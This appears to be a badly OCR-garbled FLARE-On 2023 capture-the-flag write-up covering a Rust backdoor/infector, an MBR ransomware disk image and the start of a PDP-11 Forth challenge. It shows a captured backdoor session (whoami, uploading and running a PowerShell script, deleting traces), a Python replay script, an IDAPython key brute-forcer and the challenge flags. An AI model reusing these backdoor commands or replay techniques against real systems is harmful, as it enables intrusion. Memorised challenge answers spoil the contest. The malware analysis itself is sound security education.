system was left with a very silly looking wallpaper, and a lot of executables andbkine had
stopped working. The customer had successfully restored from backup, but we are still
interested in understanding all capabilities of the malware. A packet capture file hasibeen

provided to aid your analysis.

O N S AR

T infector.exe.mal
1 06_27_2023_capture.pcapng
1 readme.txt
Yeadme.txt, * x W Is%X s |

Hi FLARE! Our customer recently found the following malware executing on one of their
machines. The system was left with a very silly looking wallpaper, and a lot of
executables on  the machine had stopped working. The customer had successfully restored

from backup, but we are still interested in understanding all capabilities of the
malware. A packet capture file has been provided to aid your analysis.

Wiresharkt x - % ¥ 1« 454 1 " s X 4., S« x s X x|} pdapgt X ¥« x 14 T

ST A x XX pxqgsi s x o x i sq_ "1 {SHatistics>ConversationsTCHR - _ ¥ L

> v

M Wireshark - Conversations - 06_27_2023_capture.pcapng - m} X
Ethernet - 7 IPu4- 48 Py -1 TCP -85 UDP - 50

Address A Port A Address B PortB Packets Bytes Packets A—B BytesA —B PacketsB—A BytesB—A RelStat Duration Bits/sA—B Bits/sB—-A *
162,168.189.128 49773 185.199.110.153 443 730 T4k 219 13k 51 700k 74.040480 2.2045 50k 2542k
182,168,189.213 51885 192,168.189.128 8343 333 141k 216 133k 7 8421 33417071 29,5001 36k 1741
192.168.189.128 49778 172.253.115.97 443 146 150k 33 3056 13 147k 74403332 0.3715 65k 3177k
192.168.189.128 49766 142.251.167.94 443 9% Tk 4 EIRE 62 73k 19.086744 46.6060 534 12k
192,162.189.128 49730 13.107.21.200 443 82 46k 32 4034 50 Ak 0599170 0.1462 221k 2206k
192,168,189.128 49739 72,21.81.240 20 72 6%k 19 1852 53 67k 17.403871 0.2804 52k 1930k
192.168.189.128 49763 142.251.167.138 443 69 43k 27 3482 42 40k 18.249406 46.7032 596 6865
192,168.189.128 459780 216.239.36.178 443 65 34k 25 3859 40 30k 74683328 0.2534 121k S61k
192,168.189.128 49777 142.251.163.94 443 56 40k 19 2363 7 37k 74405149 0.2021 93k 1500k
192,168.189.128 49772 34.104.35.123 20 4 25k 15 3165 26 22k £6.311589 7.5471 3354 23k
192.168.189.213 51886 104.208.16.90 443 37 18k 16 12k 2 6660 47.632820 1.6397 58k 32k
192,168.189.128 48771 172.253.115.94 443 36 23k 12 12k 24 11k 66.085047 0.1780 558k 509k
192,162.189.128 49770 104.208.16.90 443 N 14k 12 7836 19 6536 57.618675 0.8653 72k 60k
192,168.189.128 49683 131.253.33.200 443 30 25k ] 934 22 24k 0161533 0.2501 2%k 791k

Name resolution [ Limit to display filter [] Absolute start time Conversation Types ™
Copy ¥ |Follow Stream... Graph... Help

yonp~-pwmyylp x | R B S I T B B : 1
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Technoloqgic

TN

M Wireshark - Follow TCP Stream (tcp.stream eq 61) - 06_27_2023_capture.pcapng - O X

et!,.M.4....6].jp.;<3.-h..\.&.
LACK_K

exec whoami
desktop-lcmr3gliuser

exec mkdir C:\Users\user\AmongRust

upload C:\Users\user\AmongRust\wallpaper.PNG 122218

ACK_UPLOAD
Moo, Woooo. u.ut+.Ho ..o z]
Revya5a.|
s.3.|2
........... T. NewouDor” snWEELTL L dd0. . wnewafueeees TewxFL L Juia L[ .
........ PR "SR IR VR - TR V[ - = PRS- BRI - DA s.=..1|H.s.E
,,,,, #j. V. Pz R cBERT L0 XB. ... ... fe e L ELKH. T T4
e KL LBL L MLT L |xid-.3..... b...R.. Cv.W.'...H...h.
&..1.00.42.T...... L.Aamc..Ba. ... " 19, L L. 6...1.W.I.1l.s..
a.9 [ | T, 128Xy 5y, . p.F3_auuuns R+
"|olz.. e Fage TR ) oLl LIRS U SR I D T
P 1 ) I 1 P jolooFeu0u.... I P AT ) o [+Z..y -
PR (P PO PR R - ujl..(.B.2. k... Gf...,.Z
e ame s kp?lNLL {05, L LUV UNAL2Z* L EL L L50. L e g €..01.:.2G\......
[ S P - S | P .../ 36,5, [ 3V N e yH.3d. . t.w..%p. . i~CYE..D/
[ 0...r w
203 cliant pkts, 12 server phis, 24 tumns.
Entire conversation (123kE) ~ Show data as | ASCII ~ Stream
Find: | [ Findmext |
Filter Out This Stream Print Save as... Back Close Help

Y xss1 {4 3 wAllpaper.PNG | . x X 37 JsxiX | ,sx] { X3 ,

M Wireshark - Follow TCP Stream (tcp.stream eq 61) - 06_27_2023_capture.pcapng — O >

PR O 7T R, R Y [ - P [ I S N L I RmG. . ... T ~
PP W PR T =0 s T 1 Y L.

.1..%5.k.a..57)..... Ho.|.jhMr...... News LwH. ..F.ooWeenna.. 2eiinn. A.i...7...hG.hU.;...

* =GP..... @ 0. [ |:N.5.@<RO.Eweunnnnnnn. ] (PSR TN - S 5. .~ACK_UPLOAD_FIN

upload C:\Users\user\AmongRustiwallpaper.psl 788

ACK_UPLOAD

A.dje.7.=0....... T e e N O e 1G5 = L A i Y - P ST TR R

,,,,,,,, [PUUE 120NN T FUURN: SUR SO BN 0.1 S DU B S SO TN S

o koo dWo ol oo ogoo o oilofh oo oc 1 o e e A BRI e e o Qr.o......... [ i N o ) D - TR o
. ST *fteeiiT (o[ov-Hee..5.T  .7.1fzZ.

%...yf..idi.. ... SeiBuennnn, Rl eeanennnn N...=qD%...F.7.:F..... =....+gm....8.NACK_UPLOAD FIN
exec powershell C:\Users\user‘\AmongRustiwallpaper.psl

exec del C:\Users\user\AmongRust\wallpaper.psl /g

exec del C:\Users\user\AmongRust\wallpaper.PNG /q

exec rmdir C:\Users\user\AmongRust

exit

203 client pkts, 12 server pkts, 24 wmns.
Entire conversation (123kB) - Show data as | ASCII - Stream

Find: | [ Findmext |

Filter Qut This Stream Print Save as... Back Close Help

FlareOn 2023
www.DigitalWhisper.co.il
T o H e ~ XI5A° x { | ¥




P X XX XA isxlxx d o, s x . 1« backdoor: .~ _ XX x Is < 7

X x o sse L \idllpapert 1 X T WX S L x o8 x |} s.s ¢ packdoort X ¢ o+ S
® ¥ AT E L1 @ s % x] X wallpaper.PNG

~ >

140 s &8 X T Procmomr - _ ¥ % x 4 « 1 .irfectdr.exe, X X ST i 1007

Vol e L oexedL 32

> John » AppData » Roaming » Microsoft » Windows » Start Menu » Programs » Startup v O
MName Date modified Type Size
ﬁ svchost.exe 1117, 45 PM Application 223 KB
£ Process Monitor - Sysinternals: www.sysinternals.com - ] X

File Edit Event Filter Tools Options Help
[EHRABE|TAS B A XBLM

Process Name PID  Operation Path

.. W-infector.exe 7156 [BhWiteFile C:\Users'John'AppDataRoaming\Microsoft \Windows"Start Menu*\Programs'\Startup‘svchost.exe
‘B- infector exe 7156 g‘.'\a'riteﬁle C:\Users'John'AppDatatRoaming\Microsoft \Windows"Start Menu*\Programs'\Startup‘svchost exe tmp
infector.exe 7156 g‘.'\a'riteﬁle C:\Users'John'AppDatatRoaming\Microsoft \Windows"Start Menu*\Programs'\Startup‘svchost exe tmp
infector exe 7156 Q‘Nﬂteﬁle C:UserstJohn'\AppData“Roaming\Microsoft \Windows\Start Menu'Programs\Startup'svchost .exe tmp
infector.exe 7156 g‘.'\a'riteﬁle C:\Users'John'AppDatatRoaming\Microsoft \Windows"Start Menu*\Programs'\Startup‘svchost exe tmp
infector.exe 7156 g‘.'\a'riteﬁle C:\Users'John'AppDataRoaming\Microsoft \Windows"Start Menu*\Programs'\Startup‘svchost.exe
B- infector.exe 7156 @Wmeﬂle C:UsersJohn AppData“.Roaming \Microsoft " WindowsStart Menu“Programs'\Startup‘svchost exe
- ‘B- infector exe 7156 g‘.'\a'riteﬁle C:\Users'John'\Desktop'\Flare Say exe tmp
2:45:1... Winfector.exe 7156 g‘.'\a'riteﬁle C:\Users'John'\Desktop'\Flare Say exe tmp
£ >
Showing 9 of 380,028 events (0.0023%) Backed by virtual memory

exd xSt as op 4 4 mongUs. 1 | 5 X 117 0 A x|V oy

dlever gonna give you up1 X 10 3 ¢ 4 Xsx | x's

Bl C:\Windows\System32icmd.exe — m| b

Menul\Pr

Menu\Pro

bxow > x 1 { ~IDA-Fred infector.exe, * *«+% 4 1 @ x.@Rgtld . **i B "7 { *ss "7
Lop A el X K b xT s U JRUSH « X . X5 L d IROsEE X
~~8 X 4 U G\Windows System3®svchostexp : ¢ x T S A4 L VX T x ]
14 XTI XK H L s gy KX s & 1 x I {sdb. 140007A50 1 .« « 7 X

~ ~ >

s@ * X\ BT T

>
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https://www.youtube.com/watch?v=a3Z7zEc7AXQ

Technologic

*}sub_1408009C70

25, byte 14883BCE@

*)sub_1486689C

svchost.exe * X w4 L 927 ° x « . WX { . 4 "stepoverr 1 _ x4 X T x4 ]

Tl Xmpathtr s: L X XS4 < F %, 1 _ sdh $4000678@S « 1 -~ IS, 1o XX Y " s
e o so b ox¥x 4.l 41X X3 path

S T A NI s x (P hoxs K] 4T ] xihep 4 I8 dssx f
A A X -I, :V Xg @weterb'l : L F SA'I X ~xor'| x 7 SAX Xl k i LSUQ_140006780

>

F 1L ¥Xssq . < Crossreferences 1 _ | 1 estecltable, * x.>*x b X NRZL S T x v .S

® 1 oo 1MW~ 4 <SUb_L4@OTE3C 1 « « "+X¥ 5, « s

17 0 0 s Al p 4 ddxed s X9 X I imfdctor | X x wxs” 14y
L breakpoint~ 1 ! ¥ sy X X404 x 0o 0 XS oy {5 4 1A "executabled « X«
PO 07T e S SS X qxsylxy xs 10 w1 x 7 sEpX140006786 4 « « 7 xS

o] s LJ¥ w8 X XSG XD d X DD ox R s . "X s

~ > ~ o ~ A > >

i IR R I RSN R R R XX, .
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¥ O X\ sy
key "@cPeterr"

def extract_MZ (buffer_offset , buffer_size , filepath ):
result b™
i range (buffer_size):
result bytes ([data[buffer_offset i ord (key[i “en (key)D])
open(filepath, "whb"). write (result)

data open( “infector.exe" , "rb" ). read ()
extract_MZ (0x3A200, Ox2ACO0Q "“filel.bin" )
extract MZ (0x64E00, 0x4C400, "file2.bin"

L 1t 1 <IDA-Fre# filel.bin: ~+ 1 1 © xfi@2.bimrtfilel.bint 4 « %334 » XX 51« 1
RN I YOG x ] ss L gxs¥ , X g

v ~w

int64 sub 1

LD e X ik x x0T 4 (IDAFrest x ©ok 4 10 xfi@2.hin, X <l T T

1 peapt x "~ wyomp X ¥ pRapt | * * X4 % s <1 1> *x ¢ Sbackdmrrt

Can't parse resp

Can't fin
failed to
Inwalid b

s © X1+ " *sgb_140001490backdoort 1 -~ X o« A X T Xy PR X € x ]
X ST S, T ox
0x207 @ X ¥ L X «w “AGK K T 1 X%Zx« _ %3 0¥0sockett _: 1 * &4 .« "d s
® _ 11 ‘lhvalidkeysidg 11 x4 T ¥ 457
Ox207 @ * ¥ L X « *AGK N T xZ*x« _ %3 0%20sockett @ L * & { .« .« "¢ s
® _ 11 ‘lhalidnoncesizg 1L % { ¥ % 45X
X oI asx I x w4 ss « { bitkett S ! X n+ 4SS NS s Loxslayp X4 o Td x

>

¥ X 4 .« ”:xx>|_5),<~

»

® L 1 ssT 4 sax
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Technologic

1 1] s .. 8X% s¥¢ o4sssT { X8 | XS I X]ar VX o« S@) X484 . «fU"sxx €

>

TR A S BT P MR N B E T S I )T B BT (NEC OIS i L

° A >

® " L KX 3% | {4 spcapkl L _ " _ - wallgapert | X X «

X 0l Ex T i {B N peapt T . 2 X X s XS, x TR X, ox

a ~ ~ o v ~ v o~ ~ ~

v ¥ 4 sTUFbllow TCP Streamn™ x L Wivesharkt + ¥- ~ £ x 7 L H Y x 244 44 «

FoX M XX Savé as * 1 il 1.1 -~ BRAw: Y X . SEfvem clientit _x 10 p 74 s

~ ° ~

Xlient_to_server.bin

M Wireshark - Follow TCP Stream (tcp.stream eq 61) - 06_27_2023_capture.pcapng - O X

6574212c9b4d9334d893bec2477cb86a70983b3c33952d68a8cc5c@226870abT 2
Bed2f4a9a8b5beeaba8348d6d2f87c606849df9a5eeT49a65c98cTO7d4c238a6

657865632877686T616d698d0Aa

657865632086d6b6469722@8433a85C55736572735Cc757365725c416d6T6ea7527573748d8a
75786c6TE164208433a5c55736572735C757365725c416d6T6e67527573745c77616C6C7B61786572225842472083132323231380
déa
a5@5all6b5e@efdcb9aas893268287e491894elcc392e8cTe38557bA0e02688T075d8752bbad8cBbc12d1835a5d8d969b3426T08
e55ede765deBBe5eata@ddds2ce@f2cb535bT 37 cB0e38dbefca@7226dba923bccde317844d097 1845587 T8d73d33b8d7c7a@asb
fhegfe2e55b3Teee24lc@q957bebe88b5de99Bb2df18Teacleefc3105483204e89a51cefd4d57emBccoBC94526da37fcl369343
e@889328c46ech92a6a9719ac@1616e692275465857846dbd45d757ba3835bf680089a2398e8ee13f80aRebl2d707aT867673c23d
b4sbdacbad53ee94b@accaadchaeBa7fBccadd7883a0bs32fabafedac3416bl3aaleaTa4de79ea26Tb314dde643917cfc5@339¢c
afcls1lt4a2clBc3d3azet284e873a73d16166c7c48e2731T455T147b97bea2d7cbbed955c47a7adfbb7ebb@cd258cf7383d8edad
B823576a%9a5681de5e2f248e18ldaedT137acTce25@16342675266803c78ccd75838aad9c7636aeffodactadsatfabT38686b36
845cTeb48cbebdaaid3T885542e27605eaal282ddeclelf23d5dage9a7badad3a8741c@93728821d14b1ddc38d2194d9554bel3
8999f6Th7c7B69642dTb339988a6a0T462ddBCA352aaa620843761c57T027a4B4c748T0eab368e35c541ed@eT 1T 70158b2cdEe82a
B5837ebadec®?951c26e6@8721c56T55e6343T1b54cdld@582e7ae31c25ec86d63838542e4ch7TeB2305Td9d22146c6a39
4857d3ellfebl483361e858b318756Ta49826c1573a61d31408813cbde3d87@399a5029h3F3e1fd9cban7e4fded6las39cf87c3c
B7efeaked4eBech82f315c2d17d557e9a6c324158793576ccd378b846335Tbecfecandafa523e2be8br246b78639483d1ado8b3
5e8e7@87e733dbf3de7ebb9aldb227cf41f4c7ad51222cb6518ad66d47181Tde7664bc3be29@1164c1dffldc98532dbTab737662
ed19628dc35b6bTd@92592d55b5Tc2ahc8c@b299848b6d21eac8594dbatac8203b97T1e3368a82c3c0986e6d342381233c1e5328
765d328984e0b8667e6229T1bad7c377e84286c58T 393 T4ed6abe5debd1l2a95a96 T cT@c@8at8c5a@Bec43d82c1b988005edb3
28434793798a1355886d4T41b9c4ac4c35b2b5abade792082d46T8a8e522448b9179b50ac128bTdf fe5dBa9T63calar4d975e9e6
a6c4388975295d8c1328d442f44a8086bcbead30928477b@6ccal 2cB867aBaec25T6479aceeaa 2fd46def988e6bce783Fd84e31a
37b318a6T5398e@b2e16c8822c25ac222154241dd32259@61bb18be534achaonddal feafioeaicedd34] 2e5dfc9a9ac@ebbodad
afed3ceelr3831e83ab632475c8188c788c4Be5habads6ccd279bfabTfadb5732871dc2943¢c334b9fddcff58e9eb73343F1931a7
f782f2187c33336ed24bdedale389857c7ec83356ee294e8bBedbdbbTbdcebibfofadf3i917948ba336414f9748b7700132470ab o,

207 cliane pkts. 0 server pkts, § turns.

192.168.189.213:51885 — 192.168.189. 128:8345 (123kE) ~ Show data as | Raw ~ Stream

Find: | | Find Mext

Filter Out This Stream Print Back Close Help

TA 0 ST Xuwln »  hZ X XX L 1T XL ACKE: X b xTsy ) s T s x { ]

Toe X4 0s 18 “sesockett ~ X Xk X0 X L 4@ sx_ x]” ., (X B«

Yvallpapert | * % «x 1 o x] X0 s .5 <0 T X 44 4 S0 B C ] X

socket
s = socket. socket (socket.AF_INET, socket. SOCK_STREAM)
s. connect (( '127.0.0.1' , 8345))
data open( “client_to_server.bin" , "rb" ). read ()

s. send(data[: 0x20])
print (s. recv (1024))

s. send(data] 0x20: 0x40])
print (s. recv (1024))
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B Technologic o

s. send( b"exec whoami \ r\ n")
print (s. recv (1024))

s. send(b"upload C: \\ AmongRust \ wallpaper.PNG 122218 \r\n")
prin t(s. recv (1024))

file_size 122218

offset_to_file 0xA6

s. send(data[offset_to_file:offset_to_file file_size])

print (s. recv (1024))

s. close ()

Yvallpaper.PNG * X~ X3 { (s T s § %4 ., L 58T«

noT SuS 4t all@flare-on.com

Y X sy k s

nOT_SuS 4t alLl@flax@n.com
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mbransomtp- ¥ - -

2 dZONB R2Ay 3

scoreboard position fall like the sarlkdrough the hourglass. Avoid this VM and feel the joy

a2 3IANBIGH D2 2

7

NI U
the

dzi yR OSf So

outside world has to offer. Or crush this one and earn even more internet points, those will

come in handy.

1 hda.img
M1 TIPS.txt
1 hda.vmdk

 mbransom.vmx

T mbransom.vmxf

N BN

e

CX wpSqd L KD JSTCy 1oL X

“ wvmwarer | 3 4 <4710 X

YIPS.txf * X< Is% o s

hda.img is a raw disk image. make sure the VM guest uses BIOS (not UEFI) boot

X UTIPS X XX
Y < s

LS*

1\t . * x Ikvt”“j‘{ > ox I XS1I“X~X ¥ % B

o

MBRANSOM

Your hard drive contents have been
encrypted. Don’t take it personally.
It's just business and money to us.

Send 1 BTC to 4184md78jIgulhuhatever
or run out and buy $28,888 in gift
cards. Either way, confirm it by
going to [REDACTED] .onion and
giving us money and this victim ID.

le’'1l give you back a decryption key
consisting of 16 hex characters.

Uictin ID: 3487B3B41F28A
Decryption Hey:

« 5T x ) sy L 4 VWwared x vmware/mbransom.vmx * Ximport

yp
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L4114« s 1dectorx ss¢. . « KBBRY _ ~ ransomwaref ~» * x A% 1., ¥ I s 4 ]

>

L 14~ s 4 ftamsomt @ | | xsx* 4 @ Sls, L X 1w Xl s

~ ~ A > ~ > ~

dhexd *xMg - X1, ¥ x 7 Toes T4 {7 L& ¥4 1L x8s T x| s

< Tox 1 c ot xsqLXess] 4 X@ ¥ ¥ Ixp xdoxogsp ]l eS8, 4T B x

14 - ZxX« .48 1 % Bochst _~ , ~ vL@cal Bochs debugger IDA Pro- x « « { ¥

¥ xxs = | x bochsrc.boxre _ X X 3 ¥ o X o TR s sl oy s

megs: 512
romimage: file="BIOS - bochs- latest"
vgaromimage: file="VGABIOS -Igpl - latest"

boot: cdrom, disk

ata0 - master: type=disk, path="hda .img", mode=flat
mouse: enabled=0

cpu: ips=3000000

1 ~ X ‘Ldcal Bochs debuggér-~ x 1 IDA Prat bochsrc.bxrc * x 1 x & [. 1+«
M b« % v B, Btarts 9« « " breakpoint- 1 ~ 1 | débuggeér

Debug View D @ Structures
IE] IDA View-EIP B = Exparts
public start
start proc near
jmp far ptr sub_7C85
start endp
B} Bochs for Windows - Display —
Resat SUSPEND Poprei

&t E: oo USER pH -
HEER =% TA'S 6

PlexB86-Bochs UGABios (PCI) 0.7bh 03 Jan 2020
This UGA+UBE Bios is released under the GNU LGFPL

Please visit
. http:srbochs.sourceforge.net
. http://www.nongnu.org-svgabios

Bochs UBE Display Adapter enabled

Bochs 2.6.10.sun BIOS - build: 01,05-/20

SRevision: 13752 § $Date: Z019-12-30 14:16:18 +0100 (Mon, 30 Dec 2019) §
Options: apmbios pcibios pnpbios eltorito rombios32

ata® master: Generic 1234 ATA-6 Hard-Disk ( 504 MBytes)

Press F1Z2 for boot menu.

Booting from CD-Rom...

CDROM boot failure code : 0062
Boot failed: could not read the boot disk

Booting from Hard Disk...

CTRL + 3rd button enables mouse IPS: 7.800M JUM | CAPS  SCRL | FEEESE

MBRY, ~ | x & sy xFpsje x
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https://en.wikipedia.org/wiki/Master_boot_record
https://sourceforge.net/projects/bochs/files/bochs/2.6.11/Bochs-win64-2.6.11.exe/download
https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator.md

Technologic

s WP X X P RAtsuspendt 4 TX XS 0 1oL X T XK dX I
Y _ ¢ B s 1 s~ esxund IOXFE869 * x -] X

~ ~ ~ ~

ease wait... *
i 3 t x EE

Running

sub FE869 proc far

mov ax, word_ 1A
cmp ax, word_1C
jnz short loc_FE876

FIZE

sti
jmp short near ptr sub FE869 loc_FEB76:
call sub_F4DA4
[Fapd
popf
pop ds
iret

C o D 4d _ _.SY* 4 M COKFES76 * x s x 8 s { ( {breakpointr 1 » {1l Y

~ ~

¥ 0oL ATI0LACA X x Dl asadsy G EM L o X eSy X X

stepoveri I » v v 1 _ x xd& 4 ! breakpointt + 1 ~ Bochgt - | o «_ Xy v 11 x _]

sub_11CA proc near

xor si, si

xor ah, ah

int 16h ;3 KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
3 Return: AH = scan code, AL = character

cmp al, &

jnz short loc_11F1

cmp al, ech

cmp di, 2AsCh
jnz short loc_1289

push dx
call sub_1296
pop dx
test ax, ax
jnz short loc_1285 jb short loc_123F
| [
[l s 5= | [l s =
retn cmp al, 9
y ja short loc_1228
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sub 1296 proc near L vOVXOD-I ” S ~EJ Lo~ -le : N . S BI: 1 1Y ., s
push si
push i 1o, d <uAdig 1, 4N 4 usyd {1xx, Hater, « s+
ov il b MG 1 7_LSt _ OXRABC L . sEIl X 4" 1st s
mov B
e 4. BL owrSe § o1 xxX§ {0x1296° X X I $%4 . <" X
== R - :
X448 0L Supl . ises L, { SHs s@l o T L x
loc_12A4 ~ v v N ~
I LS A BUas A« sx s | XI5sTsd o "sxe fs._{
or al, ah
stosh (D' Lo« %
dec ch ~YY
jnz short loc_12A4
. . - n”
— @ 1. fswisi DX D4 Ox3206 X x 1§ 8" x|
Mt~ o 4 _ A X 1eSt M 4~ ¥ J XOK2A4C X X X" L s
O X 0F 415 v 4 K] 14 %

S w X sl X

XA Y& A

DA E Ayt A

e <!

1T 447" X

~ >

T How w¥SHiL X T IF X 47§ wysxarof % 1308 s XXss” x @x2A5C * X © ] |

Yxx-|As

oy
aa
oy
aa
oy
aa
a0
5]
a0
5]
a0
5]
a0
5]
a0
5]
a0
5]
a0
2e
a0
2e
a0
2e
a0
2e
a0
2e
a0

debugdpl: 2868 db  43h ;

oMo

> 4 @Bochsfor‘n*.finclows-Displa)r

1 [

USEE

Copy

E=

Reset sUSPEND

COMFIG a E'

snapshot
=

Fughe
il

HMBRANSOHM

Poprer

Your hard AdAriwve content=s hawvwve been
it personally.

encrypted .

Don"t take
It"s just business and money to

mw= .

Send 1 BTC to 418<dmd7oO jIgulDhwhateuver

or run
cards .
going to
giwving

LWe” 11

giwve youn

out and buy SZ20, 000
Eitherxr way.

CLREDACTED 1

conf irm

in

o ion

us money and this wictim

back a decryption

consisting of 16 hex characters .

Uictim
Decryption

ID
Keuy

J1487EBE3IB11F=Z0
2123456789 BCDEF__

Invalid KHey

gift
it by
annd

ID.

key

yy
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x4 ose g 4 A7 XxOre 1 ) X 01148 v 34 Qs « »s_« 1sx" T Al
YX5555 % X ks pd x %X x4 3 s XJIOPOFC X x W L*X 1.
cmp ax, 5555h
jnz short invalid_key
Emi _
loop loc_12B5 |
p
I, ol iy X 4484 T xDos ¢ 0 1IXxsy
19FC db 34h dnvalid Key ¢
o s [0x34, 0x87, 0xB3, OxB4, OX1F, 0X20] OX19F @ 1 -
19FF db 8B4h
108 db 1P 10961, 0XD2, OXEG, OXEL, OX4A, 0%73] 1rSiLl W 4 % X 4 & § 5 x
1481 db 28h ' ! ! ! ! ~

v
FEE

mov si, 2A5Ch

mov di, 2A64h

mov cl, 4
—5

[l e =1

loc_12C9:

lodsw

stosw

xor ax, 5555h

mov [di+5], ax

loop loc_12c9
—

]
FEE

mov ax, 1eh

push ax

mov ax, 2464h

push ax

call sub_1674

mov si, 19EBh

mov di, sp

movswW

movswW

moVswW

movsw

mov bx, sp

mov ax, 1573h

call sub_1619

mov si, 19F4h

mov di, sp

mov cx, 4

repe cmpsw

jz short correct_ke
1

]

oA

]

{

z

, . $|‘_’“LS~I__{HX

X

ch

Ftxssmced X CM B |

]

X

NS R NI TN

L

L

]

bl XS g %Xl 4 7T @02 EGEL 4A75Y¢ 1 s o
@4 .

1.

OX1619t0X1674 * X 11X { . LR ¥ { i1 "s

a

b3 R xor* x

& o e

.

I R FE TR

L

AR s couixxs Tos

~

~

® " X_pﬁ_xlvxvi“x LS d~x 47 x

”
’”

~ I X Tse osd

X

o

w

T LS s x X, " o x |8 I~>< X

X ®41 7" x4 1« H6 Brute force: x _
s sl 4 S0%1296° % x Is]{*. . T p.
8. «Ss 1 4% 455,
S WxX 1 o x{7s | QRA4C X X

v oL

Brute s { ¢ X

158 41«

A~ v o~ v ~

~

~

%% X1

X s X
“J’Nv
. Ho 13

” B\. 5L 5~ -

o X X X
o X, XSSy LoxoXp X

1

X oS TEA s
@od e A HY X v A L
L & - %% 854

~

: ,,'_

>

>

Y

X
N

dorce

y ®
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Technologic

M v - XX X1B w4 " X 0 e ey 41~  A<1sa IS~ IDAPython xXx @ |7

Ao

P 0l T L ks S ol xS LT LTI, THS X R K, F S s
s« EBter, T ur3 T x pd X WA S 47 Wi TR s 4 {7 P §1 s
YOX11FC * x IsH*. "X { 4Js

I jnz sho

Q Bochs for Windows - Display -

A g 4 USER  epy Pughe Shapshot
B 5= (g
EE]

Reset sUSPEND Power

COMFIG a ﬁ

di,
short loc_1289

Your hard driwve content=s hawve bheen
encrypted. Don't take it personally.

It"’s just business and money to us.
Send 1 BTC to 4184md?7Y0O jIgulhwhatever MHM
or run out and buy $Z0.0008 in gift x—
cards . Either way, confirm it by ax. ax
going to LREDACTED ] .onion and : w&ﬂmn%
giwving us money and this wictim ID. ~
We'11 give you back a decryption key
consisting of 16 hex characters.

retn

Uictim ID: 3487B3B11FZ20Q
Decryption Key: 6I1DZEGE14A75S0000

Incorrect Key

CTRL + 3rd button enables mouse IPS:11.408M MBI CAPS SCRL HD:0-M

100.00% (-755,174) (34,173) UNKNOWN 000011FC: sub_11CA+32 (Synchronized with EIP)

@ Hex View-1

2448 5B E2 77 CE E3 DF 8F 57 E6 72 (3 3A91 B0 82 [.uuass Woasinnas
BE @6 GE @1 64 @A @7 85 @0 60 60 88 61 D2 E6 E1 ............ T
2A66 4A 75 8@ 8@ 61 D2 E6 E1 4A 75 @@ 86 34 87 B3 B4 Ju..a....... 4...

¥ - x ‘Brute forcet - + . * |DAPython x7«L s L

expand_int_to_4_bytes (X):
((x 0xf ) 24) ((x 0xf0 ) 12) (x 0xf00 ) ((x 0xf000 ) 12)

test_input (last _4 bytes):
set_reg_value (Ox1lfc, 'eip' )
PatchDword( 0x2A58, expand_int_to_4 bytes (last_4_bytes))
step_over ()
GetDebuggerEvent (WFNE_SUSP; 1)
eax_val get_reg_value ("eax")
eax_val 0]

brute_force ():
i range (Oxffff ):
i 0x100 0:
print ("Testing” , hex(i))
test_input  (i):
print ("Found last 4 characters:" , hex(i))

print ("Done")

brute_force ()

FlareOn 2023
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IDATt Output Windows = * . X*1 * &

x 4 . {sl fdruteforce.py, * ¥ X X % ¥

s hoxoo s X o, Pythone - X .

+Pyo

1

execfle s 2A0O00A &£ OAAt PUz

-S

©1D2 E6E1 4A75 4ADG L ~ S

MBRANSOM

Your hard drive contents have been
encrypted. Don’'t take it persomally.
It's just business and money to us.

Send 1 BTC to 4184md78jIgulhuhatever
or run out and buy $28,888 in gift
cards. Either way, confirm it by
going to [REDACTED] .onion and
giving us mMoney and this wvictim ID.

He'll give you back a decryption key
consisting of 16 hex characters.

Uictim ID: 3487B3B41F28
Decryption Key: G1DZ2EBE14A754ADC

Decrypting. ..

jax  813Cc

. X%

\; IY_L:

.

Iox

s ] PN § |

>~ "a A

OX#4ADC ™M L _

MBRANSOM

Your hard drive contents hawve been
encrypted. Don’t take it personally.
It's just business and mMoney to us.

Send 1 BTC to 4184md78jIgulhuhatever
or run out and buy %28,888 in gift
cards. Either way, confirm it by
going to [REDACTED] .onion and
giving us Money and this wictim ID.

He'll give you back a decryption key
consisting of 16 hex characters.

Uictim ID: 3487B3EB41F28
Decryption Hey: G1D2EGE14A75S4ADC

Hit Enter to Reboot

188% @3FF

XS o X8 |

(C) Copyright 1995-2812 Pasquale J. Villani and The Freel0S Project.
All Rights Reserved. This is free software and comes with ABSOLUTELY NO

LIARRANTY ;

you can redistribute it and-or modify it under the terms of the

GNU General Public License as published by the Free Software Foundation;

either version 2,
C:

FreeCom version B.85a
C:
Uolume
Uolume

HD1, Pril 11, CHS= B-1-1,

sedir
FLAREON
is 1178-1A1F

in drive C is
Serial Mumber

Directory of C:~

KERNEL
COMMAND

3Y5
COM

46,485 B5-14-21

AUTOEXEC
FLAG

BAT
TXT
4 file(s)
B dir(s)
C:~>type flag. txt

85,488 @7-18-21 11:
a8 B5-26-23 G:

64 B5-26-23 G6G:
132,829 bytes
528,823,552 bytes

3:

or (at your option) any later wversion.
start=

B MB, size= 583 MB

— WATCOMC - XMS_Swap [Jul 18 2821 19:28:H61

32a

28p
S6p
S8p

free

b18uf1$h_3ncryptiBn_Bf_pé@rtltiBn_1n_r3al_mBd3@flare—-on.com

LNy

Y XSy

X

blowfl$h_3ncryptlOn_Of p@rt1tlOn_1n_r3al_m0d3@flaom.com
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Technologic

\*2)

Did you know the PDP1 and the FOURTH programming language were ked#ased 53 year
ago, in 1970? We like to keep our challenges fresh here at-Blardnline with the latest

malware trends.

w

X X s@ T s L qs]qs] w o ¥SX”  ss_ ] 4556 ¥ 1 . X ofX] D <

®. 4 Je I™41 %3 d"adb: - Y X XPDRL1* _ 14 * ¥ FORTH

PDPRt ~» * x 11 ., sxss FDRTH + x | 4 (J44m® ceed 1 7 4 XXy Xy pOx L 4s] «
@4 0l Lo pmab, ) v 417X XdTSX DV | ¥ adb _syntaxt s 11
P LIS 4 T YS K S ST XS] X s s 4] x %X

d .| xs o XXE e d M eI X 1B, WSukSY | s c x ., . x

LoX L XD X{{ ¥s_ (s

v

Y 1 P Fo X wsq X3 ey oo X
mog.dsk
mog.cfg

forth.tap

= =4 4 -

README.md

README.mg * X< Js% (s |
Kupo

This challenge will likely require s ome reading. To begin with, it's for 2.11BSD on
the PDP-11. It's also embedded in a tape image. And it's a Forth interpreter.
There's a lot going on here.

Bootstrapping the emulator

You're welcome to try bootstrapping your o wn 2.11BSD installation, of course;

there's nothing particularly special needed, and the installation tapes and

